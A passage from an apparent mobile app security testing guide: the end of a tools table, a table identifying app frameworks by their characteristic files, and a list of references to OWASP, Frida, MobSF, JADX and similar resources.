| needle | iOS | iOS security testing (deprecated) | pip |
| RMS | Both | Runtime Mobile Security (GUI) | GitHub |
| r2frida | Both | Radare2 + Frida integration | `r2pm install r2frida` |

### Framework Detection

| Framework | Detection Method |
|-----------|-----------------|
| React Native | `index.android.bundle`, `libreactnativejni.so` |
| Flutter | `libflutter.so`, `libapp.so` (snapshot) |
| Xamarin | `libmonodroid.so`, `Mono.Android.dll` |
| Cordova | `www/` directory with `cordova.js` |
| Ionic | `www/` with `ionic.config.json` |
| Unity | `libunity.so`, `libil2cpp.so` |

---

## References

- OWASP MASVS: https://mas.owasp.org/MASVS/
- OWASP MASTG: https://mas.owasp.org/MASTG/
- OWASP Mobile Security Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Mobile_Application_Security_Cheat_Sheet.html
- Frida Documentation: https://frida.re/docs/home/
- MobSF: https://github.com/MobSF/Mobile-Security-Framework-MobSF
- Android Security: https://source.android.com/docs/security
- Apple Platform Security: https://support.apple.com/guide/security/welcome/web
- JADX: https://github.com/skylot/jadx
- dex2jar: https://github.com/pxb1988/dex2jar
- objection: https://github.com/sensepost/objection
- MITRE ATT&CK Mobile: https://attack.mitre.org/matrices/mobile/
